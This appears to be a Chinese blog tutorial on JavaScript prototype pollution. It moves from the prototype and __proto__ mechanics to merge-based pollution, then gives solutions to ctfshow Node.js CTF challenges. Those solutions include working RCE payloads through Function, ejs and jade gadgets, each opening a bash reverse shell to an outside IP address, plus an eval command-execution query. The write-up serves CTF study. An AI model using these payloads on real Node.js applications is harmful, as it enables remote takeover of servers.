0x01
前面很早就知道有这个姿势,但是一直拖欠,包括打ctfshow的时候也是一把锁,后面学了flask的原型链污染觉得很有意思,来学习一下,把坑填了
0x02
prototype
&&__proto__
零基础没关系,我们只要知道属性这个东西就可以,最简单的demo
1 | function Foo() { |
就可以看到打印出来了1
,但是如果我们不仅仅是只创建了这一个对象,而是很多个Foo
,那我们每次都要新建一个show
方法,对此,我们可以利用prototype
来完成
1 | function Foo(){ |
prototype
是个啥呢,我们在代码中就可以看出是一个属性,并且Foo.prototype
是等效于Foo()
原型的,看看官方文档
文档其中也意识到了利用这个属性访问原型进行覆盖属性的问题,也就是原型链污染问题,但是要想这么利用我们必须要拿到Foo()
,如果我们是生成出来的对象呢,如何访问原型
1 | function Foo() { |
我们可以使用__proto__
,相信很多师傅,经常在一些简单的题目中使用到这个属性,而这么一看我们很容易就知道a.__proto__==Foo.prototype
,也就是说prototype
是一个属性,每个对象都有,且可通过他访问所有对象的原型(此例中为Foo),__proto__
为一个属性,可以利用来访问对象的prototype
属性,最后达到访问原型的效果
继承
知道了上面两个属性之后,我们就很容易像flask
的一样做实验了
1 | function Father() { |
这里的回显是Name: Melania undefined
,而为什么会造成这样的结果,
JavaScript 对象是动态的“包”属性(称为自己的属性)。JavaScript 对象具有指向原型对象的链接。当尝试访问对象的属性时,不仅会在对象上搜索该属性,还会在对象的原型、原型的原型上查找该属性,依此类推,直到找到具有匹配名称的属性或到达原型链的末尾。
其中的末尾指的是Object.prototype
如果还找不到就是null
也就是我们刚刚输出的未定义了,用P牛的话总结一下机制是
- 在对象son中寻找last_name
- 如果找不到,则在
son.__proto__
中寻找last_name - 如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name - 依次寻找,直到找到
null
结束。比如,Object.prototype
的__proto__
就是null
开干,写个最简单的demo进行值的覆盖
1 | // foo是一个简单的JavaScript对象 |
验证污染可行的同时也验证了我们刚才说的查找顺序
应用场景
在ctfshow刷题的时候我就一直很苦恼,甚至被狠狠的折磨,因为有时候手写payload就是不容易一次写对对于新手来说,但是我发现后面靶机无论如何也不能污染成功了,原因是因为一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。回到正题应用场景这个应该是耳熟能详的了,就是类似的merge
函数功能都可以,这里进行Debug还是以merge
为例子
1 | function merge(target, source) { |
放入poc
1 | let o1 = {} |
发现合并属性是成功了,但是污染失败了,进行调试发现__proto__
在代码中并没有被识别成key
究其根本是因为此时的__proto__
并不是o1
的原型,而只是一个很普通的属性,我们要使其能够正确解析为原型的话需要使用JSON.parse
1 | let payload = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') |
即可成功,Debug看看,首先a
肯定是没有的,所以是直接覆盖
但是__proto__
是在原型里面的所以进行第一条件语句
b
和a
一样都是undefined
所以直接覆盖
最后完成了污染,了解了这个机制之后做点简单的题目练手
demo
ctfshow_nodejs专题
简单题直接放poc,难点的看看
1 | ctfshow\123456 |
1 | ?eval=require('child_process').execSync('ls /').toString() |
1 | const crypto = require('crypto'); // 引入 crypto 模块 |
web338跟进copy函数看到了和merge差不多的东西
1 | {"__proto__":{"ctfshow":"36dboy"}} |
web339
1 | const sum = new Function('a', 'b', 'return a + b'); |
所以污染即可RCE Function
1 | {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.238.233.9/9999 0>&1\"')"}} |
然后POST访问/api
,使得函数执行
web340把对象套了一层
1 | {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.238.233.9/9999 0>&1\"')"}}} |
web341即使是有污染的地方,但是没有地方可以执行了,这个时候就要看框架本身是否有漏洞,可以看到引用了ejs
,上网搜索一下
1 | {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.238.233.9/9999 0>&1\"');var __tmp2"}}} |
web342&&web343是jade
,还是框架,参数是login.js
里面可以看到的
1 | {"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.238.233.9/9999 0>&1\"')"}}} |
web344极客大挑战里面的东西
1 | /?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true} |